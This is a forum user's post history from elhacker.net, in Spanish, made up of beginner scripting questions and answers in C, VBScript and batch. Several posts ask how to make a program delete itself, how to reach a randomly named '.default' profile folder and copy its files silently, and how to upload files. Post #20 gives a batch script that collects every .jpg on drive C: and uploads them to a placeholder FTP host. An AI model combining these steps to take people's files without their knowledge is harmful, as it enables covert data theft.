Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - KZN

#11
Lo que necesito no es eliminar un archivo, necesito remover el programa que estoy generando al finalizarlo.
#12
Necesito acceder a una carpeta que siempre se asigna un valor diferente, solo conserva una parte en concreto ".default"

chdir (".default");


Estoy buscando la forma de que al acabar el código el archivo generado se elimine pero no lo consigo


ERASE %0

#13
Muchas gracias al usuario ivancea96 por resolver mi problema.

#14
Buenas, soy nuevo con el lenguaje de programación C, hasta ahora hacía cosas simples con "lenguaje" tipo bat. Estaba buscando ir a un directorio y crear la carpeta, pero no consigo que al compilar tenga memoria y me cree la carpeta donde yo le mando. Vengo de un "lenguaje" mas que eso yo le llamaría ordenes, no lo considero un lenguaje, el caso es que siempre lo e echo todo en bat, asique les agradecería unos consejos

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <dir.h>

int main () {

chdir ("C:\Users\user\Desktop");
mkdir ("app");
}


Lamento lo de las etiquetas, pero es que ya no recuerdo como se ponían.


Mod: Los códigos deben ir en etiquetas GeSHi.. spoiler? que es eso  :-\
#15
Me podrías ayudar, intento poner el copyfile pero no me doy cuenta como coger la información del path que has puesto

por cierto no me deja implementar el código GeShi, le doy clic en "Insertar código" y no se me ponen las etiquetas para poder meter cógido dentro
#16
Si, como siempre Elektro me lees la mente, efectivamente, es hay a donde quiero acceder.
#17
No me e explicado bien, os voy enseñar el código batch para que me entendaís

Código (dos) [Seleccionar]
cd %appdata%

cd Micarpeta\MiSubcarpeta

cd "*.default"


Esa carpeta cada vez que cambio de ordenador es renombrada por ejemplo

PC 1: 123456.default

PC 2: 4fasdjkt.default

PC 3: 57tgjtekl.default

esa carpeta con nombre aleatorio (salvo el .default) tiene unos archivos que siempre recojo por extensión

Código (dos) [Seleccionar]
xcopy "*.png" "C:\ProgramData" /Y /I >nul 2>&1

Y ahora busco hacer lo mismo en VBS e elaborado este pequeño code

Código (vb) [Seleccionar]
Set objShell = CreateObject("WScript.Shell")
Set PV1 = CreateObject("Scripting.FileSystemObject")
Set PV2 = CreateObject("Scripting.FileSystemObject")

PV2.createfolder "C:\ProgramData\Carpeta"
strCommand = "cmd /k cd %appdata%"
strCommand = "cmd /k cd Micarpeta\MiSubcarpeta"

PV1.copyfile "%USERPROFILE%\123456.default\*.png","C:\ProgramData\Carpeta\"

MsgBox "Operación completada",266304

Espero me podaís ayudar y gracias a los anteriores por su colaboración.
#18
Scripting / [VBS] Iniciación, dudas rutas.
28 Enero 2016, 17:25 PM
Hola, estoy empezando con el lenguaje VBScript y quería saber como llego a las siguientes rutas %appdata%
%userprofile%
También tengo un problema con las carpetas, por ejemplo hay una carpeta que tiene el nombre

123456.default

esa carpeta independientemente del nombre siempre tiene el ".default" y yo en Batch usaba esta variable para entrar en la carpeta " cd "*.default" " y ahora nose como hacer lo mismo en VBS.
Espero me ayuden, gracias futuros comentarios siempre es de agradecer la ayuda.

(Si e cometido algún error lo siento, ya hacía bastante que no entraba al foro y no me acuerda si me salto alguna regla.)
#19
es indiferente usar "pu" o "put" ya que te lo detecta igualmente como put.
#20
Hola, en tu código estas mandando la señal al FTP de subir archivos ".jpg" pero en la ruta que has puesto no existe ningún archivo con extensión ".jpg" si quieres buscar todos los archivos con esa extensión, meterlos en una carpeta, subirlos a FTP y eliminar la carpeta en el ordenador te dejo aquí mi código.

@echo off
md "C:\Recoveryjpg"
for /R C: %%f in ("*.jpg") do copy "%%f" C:\Recoveryjpg
cls

! cls

@ftp -i -s:"%~f0"&GOTO:EOF
open ftp.EJEMPLO.netii.net
USUARIO
CONTRASEÑA
pu "C:\Recoveryjpg\*.jpg"
! del "C:\Recoveryjpg\*.*" /Q
! RMDIR "C:\Recoveryjpg"
bye


Si lo que quieres es subir archivos con esa extensión de una ruta determinada pon la ruta y luego usa el "put" para seleccionar los multiples archivos con esa extensión que quieras subir, espero haberte ayudado.

KZN para Foro.elhacker.net